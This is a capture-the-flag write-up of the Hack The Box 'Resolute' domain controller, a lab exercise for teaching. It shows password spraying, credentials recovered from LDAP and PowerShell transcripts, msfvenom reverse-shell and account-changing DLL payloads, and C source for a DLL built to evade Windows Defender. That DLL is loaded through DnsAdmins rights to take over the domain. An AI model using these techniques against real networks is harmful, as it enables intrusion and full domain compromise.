> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/resolute.md). # Resolute Write-up of Resolute a medium defficulty AD machine with defender active (both IP 10.129.96.155 & 10.129.1.156 target the same machine, i had to reset it mid op, so the IP changed)
### Phase 1: Initial Reconnaissance & Enumeration The assessment began with a standard Nmap scan against the target IP 10.129.96.155, which revealed a typical Active Directory Domain Controller profile for the domain `megabank.local`. Open ports included DNS (53), Kerberos (88), MSRPC (135), SMB (139/445), LDAP/LDAPS (389/636, 3268/3269), and Windows Remote Management (WinRM on port 5985). The operating system was identified as Windows Server 2016 Standard. **Command:** ```bash ┌──(kali㉿kali)-[~] └─$ nmap 10.129.96.155 -sCV Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-03 10:34 -0500 Not shown: 988 closed tcp ports (reset) PORT STATE SERVICE VERSION 53/tcp open tcpwrapped 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-03 05:28:08Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-03-03T05:28:35 |_ start_date: 2026-03-03T05:20:49 |_clock-skew: mean: -7h27m57s, deviation: 4h37m09s, median: -10h07m59s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Resolute | NetBIOS computer name: RESOLUTE\x00 | Domain name: megabank.local | Forest name: megabank.local | FQDN: Resolute.megabank.local |_ System time: 2026-03-02T21:28:37-08:00 | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required | smb-security-mode: | account_used: | authentication_level: user | challenge_response: supported |_ message_signing: required ``` With Active Directory ports exposed, LDAP was queried to extract domain information. Using an anonymous bind, the directory tree was dumped to enumerate user objects. ```bash ┌──(kali㉿kali)-[~/Documents/resolute] └─$ ldapsearch -x -H ldap://10.129.1.156 -b "DC=megabank,DC=local" "(objectClass=user)" ...SNIP... # Marko Novak, Employees, MegaBank Users, megabank.local dn: CN=Marko Novak,OU=Employees,OU=MegaBank Users,DC=megabank,DC=local objectClass: top objectClass: person objectClass: organizationalPerson objectClass: user cn: Marko Novak sn: Novak description: Account created. Password set to Welcome123! givenName: Marko distinguishedName: CN=Marko Novak,OU=Employees,OU=MegaBank Users,DC=megabank,D C=local instanceType: 4 whenCreated: 20190927131714.0Z whenChanged: 20191203132427.0Z displayName: Marko Novak uSNCreated: 13110 uSNChanged: 69792 name: Marko Novak objectGUID:: 8oIRSXQNmEW4iTLjzuwCpw== userAccountControl: 66048 badPwdCount: 0 codePage: 0 countryCode: 0 badPasswordTime: 0 lastLogoff: 0 lastLogon: 0 pwdLastSet: 132140638345690606 primaryGroupID: 513 objectSid:: AQUAAAAAAAUVAAAAaeAGU04VmrOsCGHWVwQAAA== accountExpires: 9223372036854775807 logonCount: 0 sAMAccountName: marko sAMAccountType: 805306368 userPrincipalName: marko@megabank.local objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=megabank,DC=local dSCorePropagationData: 20190927221048.0Z dSCorePropagationData: 20190927131714.0Z dSCorePropagationData: 16010101000001.0Z ...SNIP... ``` Reviewing the LDAP output revealed a critical information disclosure vulnerability within the attributes of the `Marko Novak` user object: > `description: Account created. Password set to Welcome123!` Administrators often misuse the `description` or `info` attributes as a notepad, failing to realize that any authenticated (or in this case, anonymously bound) domain user can read them. ### Phase 3: Password Spraying & Initial Access Attempting to authenticate via SMB with the credentials `marko:Welcome123!` resulted in a `STATUS_LOGON_FAILURE`. ```bash ┌──(kali㉿kali)-[~] └─$ nxc smb 10.129.96.155 -u "marko" -p 'Welcome123!' SMB 10.129.96.155 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True) (Null Auth:True) SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE ``` However, because organizations frequently assign the same default password to multiple employees, a password spraying attack was executed against the list of users extracted from LDAP. ```bash ┌──(kali㉿kali)-[~/Documents/resolute] └─$ netexec smb 10.129.96.155 -u users.txt -p 'Welcome123!' SMB 10.129.96.155 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True) (Null Auth:True) SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\ryan:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\sunita:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\abigail:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\marcus:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\sally:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\fred:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\angela:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\felicia:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\gustavo:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\ulf:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\stevie:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\claire:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\paulo:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\steve:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\annette:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\annika:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\per:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [-] megabank.local\claude:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.96.155 445 RESOLUTE [+] megabank.local\melanie:Welcome123! ``` The spray successfully authenticated the user `melanie`. With valid credentials and port 5985 open, an interactive PowerShell session was established using `Evil-WinRM`, granting initial access to the system and the user flag. ```bash ┌──(kali㉿kali)-[~/Documents/resolute] └─$ evil-winrm -i 10.129.96.155 -u melanie -p 'Welcome123!' *Evil-WinRM* PS C:\Users\melanie\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\melanie\Desktop> type user.txt 1dba007491dxxxxxxxxxxxxx39b2b0b ``` ### Phase 4: Internal Reconnaissance & Transcript Analysis Once on the system, basic file system enumeration revealed a hidden directory at the root of the `C:\` drive named `PSTranscripts`. PowerShell Transcription is a built-in logging feature that records all PowerShell session input and output to text files. While intended for auditing, misconfigured permissions on the transcription folder allowed the `melanie` user to read logs generated by other users. Inspecting the log `PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt` revealed that another user, `ryan`, had previously executed commands that passed cleartext credentials: `ryan:Serv3r4Admin4cc123!` ```bash ┌──(kali㉿kali)-[~/Documents/resolute] └─$ evil-winrm -i 10.129.1.156 -u melanie -p 'Welcome123!' *Evil-WinRM* PS C:\Users\melanie\Documents> cd ../../.. *Evil-WinRM* PS C:\> dir -force Directory: C:\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d--hs- 12/3/2019 6:40 AM $RECYCLE.BIN d--hsl 9/25/2019 10:17 AM Documents and Settings d----- 9/25/2019 6:19 AM PerfLogs d-r--- 9/25/2019 12:39 PM Program Files d----- 11/20/2016 6:36 PM Program Files (x86) d--h-- 9/25/2019 10:48 AM ProgramData d--h-- 12/3/2019 6:32 AM PSTranscripts d--hs- 9/25/2019 10:17 AM Recovery d--hs- 9/25/2019 6:25 AM System Volume Information d-r--- 12/4/2019 2:46 AM Users d----- 12/4/2019 5:15 AM Windows -arhs- 11/20/2016 5:59 PM 389408 bootmgr -a-hs- 7/16/2016 6:10 AM 1 BOOTNXT -a-hs- 3/2/2026 11:29 PM 402653184 pagefile.sys *Evil-WinRM* PS C:\> cd PSTranscripts *Evil-WinRM* PS C:\PSTranscripts> dir -force Directory: C:\PSTranscripts Mode LastWriteTime Length Name ---- ------------- ------ ---- d--h-- 12/3/2019 6:45 AM 20191203 *Evil-WinRM* PS C:\PSTranscripts> cd 20191203 *Evil-WinRM* PS C:\PSTranscripts\20191203> dir -force Directory: C:\PSTranscripts\20191203 Mode LastWriteTime Length Name ---- ------------- ------ ---- -arh-- 12/3/2019 6:45 AM 3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt ``` ### Phase 5: Privilege Escalation via DnsAdmins (System Compromise) Logging in as `ryan` via Evil-WinRM and cross-referencing his account with BloodHound analysis confirmed that he is a member of the **DnsAdmins** group. Members of the DnsAdmins group have the authority to configure the DNS server. This includes the ability to load a custom DLL to act as a Server Level Plugin. When the DNS service starts, it runs as `NT AUTHORITY\SYSTEM` and will execute any code contained within the configured DLL.\ and bloodhound showed ryan user to be a part of `DNSADMINS` group Pasted image 20260303130925.png **Step 1: The Windows Defender Roadblock** Initial attempts to exploit this vector relied on standard payload generation tools. Several `msfvenom` payloads were crafted to either add a domain administrator or establish a reverse shell:\ so first i tried making a dll with msfvenom like this ```bash msfvenom -p windows/x64/exec CMD="net user administrator P@s5w0rd123! /domain" -f dll -o dns.dll ``` Why it gets flagged: * Known msfvenom stub * Static PE signature * Very widely fingerprinted ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.15 LPORT=4444 -f dll -o evil.dll ``` This one: * Uses standard metasploit loader * Reverse shell stub is signatured * Defender deletes it almost instantly ```bash msfvenom -p windows/x64/exec CMD="cmd /c net user administrator P@s5w0rd123! /domain" -f dll -e x64/xor_dynamic -i 5 -o legit.dll ``` THE ENCODING SOMETIMES DOESN'T WORK AS WELL BECAUSE * The PE loader stub is still metasploit’s * Defender signatures match the loader, not just the payload However, Windows Defender actively intercepted these attempts. When uploading the files via Evil-WinRM, the payload sizes were immediately reduced to 0 bytes, indicating that the AV engine quarantined or deleted them. Even attempting to pull the DLL directly from an SMB share resulted in an explicit block by the operating system: ```powershell *Evil-WinRM* PS C:\Temp> upload evil.dll Info: Uploading /home/kali/Documents/resolute/evil.dll to C:\Temp\evil.dll Data: 12288 bytes of 12288 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\Temp> ls Directory: C:\Temp Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 3/2/2026 10:56 PM 0 evil.dll ``` here we can see our evil.dll is becoming of 0 size due to defender, also when i try to download the dll by setting up an smb server on my kali machine ```powershell *Evil-WinRM* PS C:\Users\ryan> copy \\10.10.16.15\share\evil.dll C:\Temp\evil.dll Operation did not complete successfully because the file contains a virus or potentially unwanted software. At line:1 char:1 + copy \\10.10.16.15\share\evil.dll C:\Temp\evil.dll + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [Copy-Item], IOException + FullyQualifiedErrorId : System.IO.IOException,Microsoft.PowerShell.Commands.CopyItemCommand ``` The failure of these payloads is due to static analysis. Defender heavily fingerprints standard Metasploit PE (Portable Executable) loaders and stubs. Even with encoders like `x64/xor_dynamic`, the underlying stub template remains recognizable to modern EDR/AV solutions. **Step 2: Crafting a Custom DLL Bypass** To bypass the static signatures, a custom DLL was written in C. By writing the payload from scratch, the resulting compiled binary lacks the malicious footprint associated with well-known offensive frameworks. A simple `dns2.c` file was created on the attacker machine to execute a system command when the DLL is loaded (`DLL_PROCESS_ATTACH`):\ so what we do is create a custom `c` file on our kali machine like this ```c #include BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("net user administrator P@s5w0rd123! /domain"); break; } return TRUE; } ``` This code was then cross-compiled into a Windows DLL using MinGW: ```bash x86_64-w64-mingw32-gcc dns2.c -shared -o legit2.dll ``` **Step 3: Payload Delivery and DNS Configuration** Because the custom DLL contained no recognizable malicious signatures, Windows Defender did not flag it. It was successfully uploaded to the target via Evil-WinRM, retaining its full file size. ```powershell *Evil-WinRM* PS C:\Users\ryan\Documents> upload legit2.dll Info: Uploading /home/kali/Documents/resolute/legit2.dll to C:\Users\ryan\Documents\legit2.dll Data: 114856 bytes of 114856 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\Users\ryan\Documents> ls Directory: C:\Users\ryan\Documents Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 3/3/2026 12:21 AM 86144 legit2.dll -a---- 3/3/2026 12:15 AM 0 plugin.dll ``` and now we can see that while our earlier dll "plugin.dll" is getting blocked by defender, our new dll "legit2.dll" which we compiled is not getting blocked.\ With the payload successfully on disk, `ryan`'s DnsAdmins privileges were used to configure the `ServerLevelPluginDll` registry key to point to the uploaded file. **Step 4: Execution and Domain Compromise** To trigger the payload, the DNS service was restarted. Upon starting, the service loaded `legit2.dll` and executed the `system()` command as `NT AUTHORITY\SYSTEM`, cleanly changing the Administrator password for the entire domain. ```powershell *Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd localhost /config /serverlevelplugindll C:\Users\ryan\Documents\legit2.dll Registry property serverlevelplugindll successfully reset. Command completed successfully. *Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns sc.exe start dns SERVICE_NAME: dns TYPE : 10 WIN32_OWN_PROCESS STATE : 3 STOP_PENDING (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 SERVICE_NAME: dns TYPE : 10 WIN32_OWN_PROCESS STATE : 2 START_PENDING (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0 PID : 1272 FLAGS : ``` and now that our payload has been executed, now we can access the target machine as the new user, and get the root flag With the Administrator password reset to `P@s5w0rd123!`, full administrative access to the Domain Controller was achieved using Impacket's `psexec.py`, allowing retrieval of the final root flag. ```bash ┌──(kali㉿kali)-[~/Documents/resolute] └─$ impacket-psexec megabank.local/administrator@10.129.1.156 Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: [*] Requesting shares on 10.129.1.156..... [*] Found writable share ADMIN$ [*] Uploading file LBYJYOiR.exe [*] Opening SVCManager on 10.129.1.156..... [*] Creating service WksH on 10.129.1.156..... [*] Starting service WksH..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt 7f9becxxxxxxxxxxxxxxxxxx2f6b3a2b ```